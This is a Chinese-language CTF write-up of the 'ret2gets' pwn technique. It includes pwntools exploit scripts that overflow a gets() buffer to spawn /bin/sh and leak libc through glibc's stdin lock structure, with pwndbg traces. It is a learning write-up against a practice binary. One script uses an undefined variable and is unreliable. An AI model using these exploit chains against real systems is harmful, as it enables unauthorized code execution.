前言
今天刚好看到litctf2025的一道pwn题,是一种我没有见过的方法,后面查了一下是叫做ret2gets,然后就浅浅的学了学。ret2gets适用于没有pop_rdi这一类控制rdi时使用的方法
源码
1 2 3 4 5 6 7 8 9 10 11 12
| #include <stdio.h> #include <stdlib.h> int main() { puts("ret2gets&ret2system"); char buffer[0x20]; gets(buffer); return 0; } void backdoor() { system("echo hi"); }
|
ret2system
exp
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import * context(arch='amd64',os='linux') r= process("./1") system=0x401070 gets=0x401080 r.recvuntil(b'ret2gets&ret2system\n') payload1=b'a'*(0x28)+p64(gets)+p64(system) r.sendline(payload1) gdb.attach(r) payload2=b'/bin'+p8(u8(b"/")+1)+b'sh' r.sendline(payload2) r.interactive()
|
然后gdb调试可以发现在第二个gets函数读入数据时rdi会发生变化,其会指向_IO_stdfile_0_lock+1,至于为什么有个+1后面再说
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| pwndbg> n 55 in ./libio/iogets.c LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────── *RAX 7 RBX 0x7e9b3781ca80 (_IO_stdfile_0_lock) ◂— 0x6873306e69622f /* '/bin0sh' */ *RCX 0x7e9b3781aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088 *RDX 6 *RDI 0x7e9b3781ca81 (_IO_stdfile_0_lock+1) ◂— 0x40006873306e6962 /* 'bin0sh' */ *RSI 0x306e6962 R8 0 R9 0 R10 0x77 R11 0x346 R12 0x7e9b3781b870 (stdin) —▸ 0x7e9b3781aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088 R13 0 R14 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401140 (__do_global_dtors_aux) ◂— endbr64 R15 0x7e9b378eb040 (_rtld_global) —▸ 0x7e9b378ec2e0 ◂— 0 RBP 0x7e9b3781aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088 RSP 0x7ffd5be63088 —▸ 0x40119d (main+39) ◂— mov eax, 0 *RIP 0x7e9b3768064e (gets+302) ◂— mov edx, dword ptr [rcx] ─────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────── 0x7e9b3768063b <gets+283> mov byte ptr [rbx], al [_IO_stdfile_0_lock] <= 0x2f 0x7e9b3768063d <gets+285> mov rdi, qword ptr [r12] RDI, [stdin] => 0x7e9b3781aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088 0x7e9b37680641 <gets+289> call _IO_getline <_IO_getline> 0x7e9b37680646 <gets+294> mov rcx, qword ptr [r12] 0x7e9b3768064a <gets+298> add rax, 1 ► 0x7e9b3768064e <gets+302> mov edx, dword ptr [rcx] EDX, [_IO_2_1_stdin_] => 0xfbad2088 0x7e9b37680650 <gets+304> test dl, 0x20 0x88 & 0x20 EFLAGS => 0x246 [ cf PF af ZF sf IF df of ac ] 0x7e9b37680653 <gets+307> ✘ jne gets+120 <gets+120> 0x7e9b37680659 <gets+313> or edx, r13d EDX => 0xfbad2088 (0xfbad2088 | 0x0) 0x7e9b3768065c <gets+316> mov dword ptr [rcx], edx [_IO_2_1_stdin_] <= 0xfbad2088 0x7e9b3768065e <gets+318> lea rdx, [rbx + rax] RDX => 0x7e9b3781ca87 (_IO_stdfile_0_lock+7) ◂— 0x7e9b3789774000 ───────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────── 00:0000│ rsp 0x7ffd5be63088 —▸ 0x40119d (main+39) ◂— mov eax, 0 01:0008│ 0x7ffd5be63090 ◂— 'aaaaaaaaaaaaaaaa' 02:0010│ 0x7ffd5be63098 ◂— 'aaaaaaaa' 03:0018│ 0x7ffd5be630a0 ◂— 0 04:0020│ 0x7ffd5be630a8 ◂— 0x6161616161616161 ('aaaaaaaa') 05:0028│ 0x7ffd5be630b0 —▸ 0x7ffd5be631c8 —▸ 0x7ffd5be64373 ◂— 0x4c45485300312f2e /* './1' */ 06:0030│ 0x7ffd5be630b8 —▸ 0x401176 (main) ◂— endbr64 07:0038│ 0x7ffd5be630c0 —▸ 0x401070 (system@plt) ◂— endbr64 ─────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────── ► 0 0x7e9b3768064e gets+302 1 0x401070 system@plt 2 0x401100 register_tm_clones 3 0x15be631b0 None 4 0x7ffd5be631c8 None 5 0x0 None ─────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> x/20x 0x7e9b3781ca81 0x7e9b3781ca81 <_IO_stdfile_0_lock+1>: 0x306e6962 0x40006873 0x9b378977 0x0000007e 0x7e9b3781ca91 <__libc_multiple_threads+1>: 0x00000000 0x00000000 0x00000000 0x00000000 0x7e9b3781caa1 <__attr_list_lock+1>: 0x00000000 0x00000000 0x00000000 0x00000000 0x7e9b3781cab1 <init_sigcancel.0+1>: 0x00000000 0x00000000 0x00000000 0x00000000 0x7e9b3781cac1 <__nptl_threads_events+1>: 0x00000000 0x00000000 0x00000000 0x00000000 pwndbg> x/20x 0x79bef301ca80 0x79bef301ca80 <_IO_stdfile_0_lock>: 0x6e69622f 0x00687330 0xf318d740 0x000079be 0x79bef301ca90 <__libc_multiple_threads>: 0x00000000 0x00000000 0x00000000 0x00000000 0x79bef301caa0 <__attr_list_lock>: 0x00000000 0x00000000 0x00000000 0x00000000 0x79bef301cab0 <init_sigcancel.0>: 0x00000000 0x00000000 0x00000000 0x00000000 0x79bef301cac0 <__nptl_threads_events>: 0x00000000 0x00000000 0x00000000 0x00000000 pwndbg>
|
分析:
1 2 3 4 5 6 7 8
| 0x306e6962 0x40006873程序是64位所以实际位置是 0x7e9b3781ca80: 0x2F '/' (/bin/sh 里的 /) 0x7e9b3781ca81: 0x62 'b' (你实际指向的位置,偏移+1) 0x7e9b3781ca82: 0x69 'i' 0x7e9b3781ca83: 0x6e 'n' 0x7e9b3781ca84: 0x30 '0' (本该是 0x2F '/',被覆盖) 0x7e9b3781ca85: 0x73 's' 0x7e9b3781ca86: 0x68 'h'
|
然后我们继续跟踪发现当执行完gets函数时rdi会-1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| pwndbg> n 0x0000000000401070 in system@plt () LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────── RAX 0x7e9b3781ca80 (_IO_stdfile_0_lock) ◂— 0x68732f6e69622f /* '/bin/sh' */ *RBX 0 RCX 0x7e9b3781aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088 *RDX 0x68732f *RDI 0x7e9b3781ca80 (_IO_stdfile_0_lock) ◂— 0x68732f6e69622f /* '/bin/sh' */ *RSI 0x687330 R8 0 R9 0 R10 0x77 R11 0x346 *R12 0x7ffd5be631c8 —▸ 0x7ffd5be64373 ◂— 0x4c45485300312f2e /* './1' */ *R13 0x401176 (main) ◂— endbr64 R14 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401140 (__do_global_dtors_aux) ◂— endbr64 R15 0x7e9b378eb040 (_rtld_global) —▸ 0x7e9b378ec2e0 ◂— 0 *RBP 0x6161616161616161 ('aaaaaaaa') *RSP 0x7ffd5be630c8 —▸ 0x401100 (register_tm_clones) ◂— mov esi, completed *RIP 0x401070 (system@plt) ◂— endbr64 ─────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────── ► 0x401070 <system@plt> endbr64 0x401074 <system@plt+4> bnd jmp qword ptr [rip + 0x2fa5] <0x401040> ↓ 0x401040 endbr64 0x401044 push 1 0x401049 bnd jmp 0x401020 <0x401020> ↓ 0x401020 push qword ptr [rip + 0x2fe2] 0x401026 bnd jmp qword ptr [rip + 0x2fe3] <_dl_runtime_resolve_xsavec> ↓ 0x7e9b378c6d30 <_dl_runtime_resolve_xsavec> endbr64 0x7e9b378c6d34 <_dl_runtime_resolve_xsavec+4> push rbx 0x7e9b378c6d35 <_dl_runtime_resolve_xsavec+5> mov rbx, rsp RBX => 0x7ffd5be630b0 ◂— 0 0x7e9b378c6d38 <_dl_runtime_resolve_xsavec+8> and rsp, 0xffffffffffffffc0 RSP => 0x7ffd5be63080 (0x7ffd5be630b0 & -0x40) ───────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────── 00:0000│ rsp 0x7ffd5be630c8 —▸ 0x401100 (register_tm_clones) ◂— mov esi, completed 01:0008│ 0x7ffd5be630d0 ◂— 0x15be631b0 02:0010│ 0x7ffd5be630d8 —▸ 0x7ffd5be631c8 —▸ 0x7ffd5be64373 ◂— 0x4c45485300312f2e /* './1' */ 03:0018│ 0x7ffd5be630e0 ◂— 0 04:0020│ 0x7ffd5be630e8 ◂— 0x2d664280d403be28 05:0028│ 0x7ffd5be630f0 —▸ 0x7ffd5be631c8 —▸ 0x7ffd5be64373 ◂— 0x4c45485300312f2e /* './1' */ 06:0030│ 0x7ffd5be630f8 —▸ 0x401176 (main) ◂— endbr64 07:0038│ 0x7ffd5be63100 —▸ 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401140 (__do_global_dtors_aux) ◂— endbr64 ─────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────── ► 0 0x401070 system@plt 1 0x401100 register_tm_clones 2 0x15be631b0 None 3 0x7ffd5be631c8 None 4 0x0 None ─────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> x/20x 0x7e9b3781ca80 0x7e9b3781ca80 <_IO_stdfile_0_lock>: 0x6e69622f 0x0068732f 0x37897740 0x00007e9b 0x7e9b3781ca90 <__libc_multiple_threads>: 0x00000000 0x00000000 0x00000000 0x00000000 0x7e9b3781caa0 <__attr_list_lock>: 0x00000000 0x00000000 0x00000000 0x00000000 0x7e9b3781cab0 <init_sigcancel.0>: 0x00000000 0x00000000 0x00000000 0x00000000 0x7e9b3781cac0 <__nptl_threads_events>: 0x00000000 0x00000000 0x00000000 0x00000000 pwndbg>
|
对比一下:
可以发现其前后会将_IO_stdfile_0_lock+5的位置加减1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| pwndbg> x/20x 0x79bef301ca80 0x79bef301ca80 <_IO_stdfile_0_lock>: 0x6e69622f 0x00687330 0xf318d740 0x000079be 0x79bef301ca90 <__libc_multiple_threads>: 0x00000000 0x00000000 0x00000000 0x00000000 0x79bef301caa0 <__attr_list_lock>: 0x00000000 0x00000000 0x00000000 0x00000000 0x79bef301cab0 <init_sigcancel.0>: 0x00000000 0x00000000 0x00000000 0x00000000 0x79bef301cac0 <__nptl_threads_events>: 0x00000000 0x00000000 0x00000000 0x00000000 pwndbg> pwndbg> x/20x 0x7e9b3781ca80 0x7e9b3781ca80 <_IO_stdfile_0_lock>: 0x6e69622f 0x0068732f 0x37897740 0x00007e9b 0x7e9b3781ca90 <__libc_multiple_threads>: 0x00000000 0x00000000 0x00000000 0x00000000 0x7e9b3781caa0 <__attr_list_lock>: 0x00000000 0x00000000 0x00000000 0x00000000 0x7e9b3781cab0 <init_sigcancel.0>: 0x00000000 0x00000000 0x00000000 0x00000000 0x7e9b3781cac0 <__nptl_threads_events>: 0x00000000 0x00000000 0x00000000 0x00000000 pwndbg>
|
为什么呢
这里贴个gets的源码,可以发现gets函数执行时有个获取锁和释放锁的过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| char * _IO_gets (char *buf) { size_t count; int ch; char *retval;
_IO_acquire_lock (stdin); ch = _IO_getc_unlocked (stdin); if (ch == EOF) { retval = NULL; goto unlock_return; } if (ch == '\n') count = 0; else { int old_error = stdin->_flags & _IO_ERR_SEEN; stdin->_flags &= ~_IO_ERR_SEEN; buf[0] = (char) ch; count = _IO_getline (stdin, buf + 1, INT_MAX, '\n', 0) + 1; if (stdin->_flags & _IO_ERR_SEEN) { retval = NULL; goto unlock_return; } else stdin->_flags |= old_error; } buf[count] = 0; retval = buf; unlock_return: _IO_release_lock (stdin); return retval; }
|
为此,FILE结构体有一个_lock字段,它是指向_IO_lock_t的指针
1 2 3 4 5
| typedef struct { int lock; int cnt; void *owner; } _IO_lock_t;
|
ret2libc
这一个关键是如何把libc地址泄露出来
如果有printf函数那么直接输入以下代码来泄露栈上地址就好了
1
| payload=b"%19$"+p8(u8(b"p")+1)
|
但是如果是puts函数,又要怎么办呢
首先puts函数泄露libc有版本区别,分为2.30-2.36;2,37+
2.30-2.36
我上面说过*owner这个东西,那我们是不是只要想办法泄露他的TLS地址就好了
但是,gets函数有个特点:遇到\n截停并将\n换为\0,这样子导致puts函数遇到\0无法输出其后面的内容
但是,我们前面说那个cnt会进行+1/-1,那我是不是只要让\n位置出现在+5处,然后利用-1将其改为0xfffffffff,那是不是就可以正常输出*owner,那不就成功绕过了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import * context(arch='amd64',os='linux') r= process("./1") puts=0x401060 gets=0x401080 main=0x401176 r.recvuntil(b'ret2gets&ret2system\n')
payload1=b'a'*(0x28)+p64(gets)+p64(gets)+p64(puts)+p64(0x0401060) r.sendline(payload1) gdb.attach(r) payload2=p32(0)+b'A'*4+b'B'*8 r.sendline(payload2)
payload3=b'BBBB' r.sendline(payload3) r.recv(8) leak=u64(r.recv(6).ljust(8,b'\x00')) libc_base=leak-0x3ba740 info('libc_base:'+hex(libc_base)) r.interactive()
|
gdb调试一下发现泄露的地址是0x754c0af2b740,vmmap看一下libc地址是0x754c0ac00000,得到偏移0x32b740
1 2 3 4 5 6 7
| pwndbg> x/8a 0x754c0ae1ca80 0x754c0ae1ca80 <_IO_stdfile_0_lock>: 0xffffffff41414141 0x754c0af2b740 0x754c0ae1ca90 <__libc_multiple_threads>: 0x0 0x0 0x754c0ae1caa0 <__attr_list_lock>: 0x0 0x0 0x754c0ae1cab0 <init_sigcancel.0>: 0x0 0x0 pwndbg>
|
然后接下来就是正常打libc就不说了,但是会发现每次运行得到的便宜不一样,这是由于现在的glibc保护机制,但是在特定的题目环境下是可以实现的
2.37+
先看源码_IO_lock_lock和_IO_lock_unlock的改变
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| #define _IO_lock_lock(_name) do { void *__self = THREAD_SELF; if (SINGLE_THREAD_P && (_name).owner == NULL) { (_name).lock = LLL_LOCK_INITIALIZER_LOCKED; (_name).owner = __self; } else if ((_name).owner != __self) { lll_lock ((_name).lock, LLL_PRIVATE); (_name).owner = __self; } else ++(_name).cnt; } while (0)
#define _IO_lock_unlock(_name) do { if (SINGLE_THREAD_P && (_name).cnt == 0) { (_name).owner = NULL; (_name).lock = 0; } else if ((_name).cnt == 0) { (_name).owner = NULL; lll_unlock ((_name).lock, LLL_PRIVATE); } else --(_name).cnt; } while (0)
|
这里可以发现通过两个gets函数可以将其绕过
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * context(arch='amd64',os='linux') io= process("./1") gdb.attach(r) puts=0x401030 gets=0x401050 r.recvuntil(b'ret2gets&ret2system\n')
payload1=b'a'*(0x28)+p64(gets)+p64(gets)+p64(puts)+p64(0x0401060) r.sendline(payload1)
payload2=p32(0)+b'A'*4+b'B'*8 r.sendline(payload2)
payload3=b'BBBB' r.sendline(payload3) r.recv(8) leak=u64(r.recv(6).ljust(8,b'\x00')) libc_base=leak-0x3de740 info('libc_base:'+hex(libc_base)) r.interactive()
|
先跳到第二次执行gets处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| pwndbg> n 55 in ./libio/iogets.c LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────── *RAX 0x10 RBX 0x78eb9401ca80 (_IO_stdfile_0_lock) ◂— 0x4141414100000000 *RCX 0x78eb9401aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088 *RDX 0xf *RDI 0x78eb9401ca81 (_IO_stdfile_0_lock+1) ◂— 0x4241414141000000 *RSI 0x4241414141000000 R8 0 R9 0 R10 0x77 R11 0x346 R12 0x78eb9401b870 (stdin) —▸ 0x78eb9401aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088 R13 0 R14 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401140 (__do_global_dtors_aux) ◂— endbr64 R15 0x78eb94232040 (_rtld_global) —▸ 0x78eb942332e0 ◂— 0 RBP 0x78eb9401aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088 RSP 0x7fffadd5f838 —▸ 0x40119d (main+39) ◂— mov eax, 0 *RIP 0x78eb93e8064e (gets+302) ◂— mov edx, dword ptr [rcx] ─────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────── 0x78eb93e8063b <gets+283> mov byte ptr [rbx], al [_IO_stdfile_0_lock] <= 0 0x78eb93e8063d <gets+285> mov rdi, qword ptr [r12] RDI, [stdin] => 0x78eb9401aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088 0x78eb93e80641 <gets+289> call _IO_getline <_IO_getline> 0x78eb93e80646 <gets+294> mov rcx, qword ptr [r12] 0x78eb93e8064a <gets+298> add rax, 1 ► 0x78eb93e8064e <gets+302> mov edx, dword ptr [rcx] EDX, [_IO_2_1_stdin_] => 0xfbad2088 0x78eb93e80650 <gets+304> test dl, 0x20 0x88 & 0x20 EFLAGS => 0x246 [ cf PF af ZF sf IF df of ac ] 0x78eb93e80653 <gets+307> ✘ jne gets+120 <gets+120> 0x78eb93e80659 <gets+313> or edx, r13d EDX => 0xfbad2088 (0xfbad2088 | 0x0) 0x78eb93e8065c <gets+316> mov dword ptr [rcx], edx [_IO_2_1_stdin_] <= 0xfbad2088 0x78eb93e8065e <gets+318> lea rdx, [rbx + rax] RDX => 0x78eb9401ca90 (__libc_multiple_threads) ◂— 0 ───────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────── 00:0000│ rsp 0x7fffadd5f838 —▸ 0x40119d (main+39) ◂— mov eax, 0 01:0008│ 0x7fffadd5f840 ◂— 'aaaaaaaaaaaaaaaa' 02:0010│ 0x7fffadd5f848 ◂— 'aaaaaaaa' 03:0018│ 0x7fffadd5f850 ◂— 0 04:0020│ 0x7fffadd5f858 ◂— 0x6161616161616161 ('aaaaaaaa') 05:0028│ 0x7fffadd5f860 —▸ 0x7fffadd5f978 —▸ 0x7fffadd60373 ◂— 0x4c45485300312f2e /* './1' */ 06:0030│ 0x7fffadd5f868 —▸ 0x401176 (main) ◂— endbr64 07:0038│ 0x7fffadd5f870 —▸ 0x401080 (gets@plt) ◂— endbr64 ─────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────── ► 0 0x78eb93e8064e gets+302 1 0x401080 gets@plt 2 0x401060 puts@plt 3 0x401060 puts@plt 4 0x7fffadd5f900 None 5 0x0 None ─────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> x/8a 0x78eb9401ca80 0x78eb9401ca80 <_IO_stdfile_0_lock>: 0x4141414100000000 0x4242424242424242 0x78eb9401ca90 <__libc_multiple_threads>: 0x0 0x0 0x78eb9401caa0 <__attr_list_lock>: 0x0 0x0 0x78eb9401cab0 <init_sigcancel.0>: 0x0 0x0 pwndbg>
|
然后执行到改gets函数结束的地方,cnt-1
1 2 3 4 5 6 7
| pwndbg> x/8a 0x78eb9401ca80 0x78eb9401ca80 <_IO_stdfile_0_lock>: 0x4141414000000000 0x4242424242424242 0x78eb9401ca90 <__libc_multiple_threads>: 0x0 0x0 0x78eb9401caa0 <__attr_list_lock>: 0x0 0x0 0x78eb9401cab0 <init_sigcancel.0>: 0x0 0x0 pwndbg>
|
然后是第三次gets,会执行下面句子,就是判断*owner是否为空,不为空会给*owner赋予TSL地址,由于前面lock为0,这里会将其置为1
1 2
| lll_lock ((_name).lock, LLL_PRIVATE); (_name).owner = __self;
|
然后继续跟踪gdb,因为lock高位是0,所以为了让他能够输出TLS,我们这里将lock用B覆盖,我这里没追踪到是什么时候将\x41改为\n,但是问题不大
1 2 3 4 5 6 7
| pwndbg> x/8a 0x78eb9401ca80 0x78eb9401ca80 <_IO_stdfile_0_lock>: 0x4141414142424242 0x78eb941de740 0x78eb9401ca90 <__libc_multiple_threads>: 0x0 0x0 0x78eb9401caa0 <__attr_list_lock>: 0x0 0x0 0x78eb9401cab0 <init_sigcancel.0>: 0x0 0x0 pwndbg>
|
继续跟踪,gets函数结束后会将0x41替换为”\n”然后再替换为”\0”再-1
1 2 3 4 5 6 7
| pwndbg> x/8a 0x78eb9401ca80 0x78eb9401ca80 <_IO_stdfile_0_lock>: 0x414140ff42424242 0x78eb941de740 0x78eb9401ca90 <__libc_multiple_threads>: 0x0 0x0 0x78eb9401caa0 <__attr_list_lock>: 0x0 0x0 0x78eb9401cab0 <init_sigcancel.0>: 0x0 0x0 pwndbg>
|
1
| padding=0x78eb941de740-0x78eb93e00000
|
致谢
https://blog.csdn.net/2502_91269216/article/details/148261096